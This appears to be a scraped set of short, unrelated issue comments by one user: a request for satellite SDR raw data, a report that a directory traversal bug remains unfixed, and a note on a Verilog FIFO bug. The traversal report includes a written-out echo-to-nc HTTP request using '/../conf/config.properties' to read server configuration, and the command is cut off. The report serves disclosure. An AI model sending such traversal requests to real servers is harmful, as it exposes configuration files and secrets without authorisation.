elrori

您好，您有录制卫星经过时的SDR原始二进制数据吗？可以用来调式

目录遍历漏洞似乎并未修复

8

get到web端口某目录，可以遍历任意文件。 例如运行： echo -e "GET /../conf/config.properties HTTP/1.1\r\nHost: localhost:80\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6\r\n\r\n" | nc...

The bug that may be stored in multiple drivers is on line 641 of axi_fifo_dec.v, and a possible solution is to modify it to 'input_valid_int_reg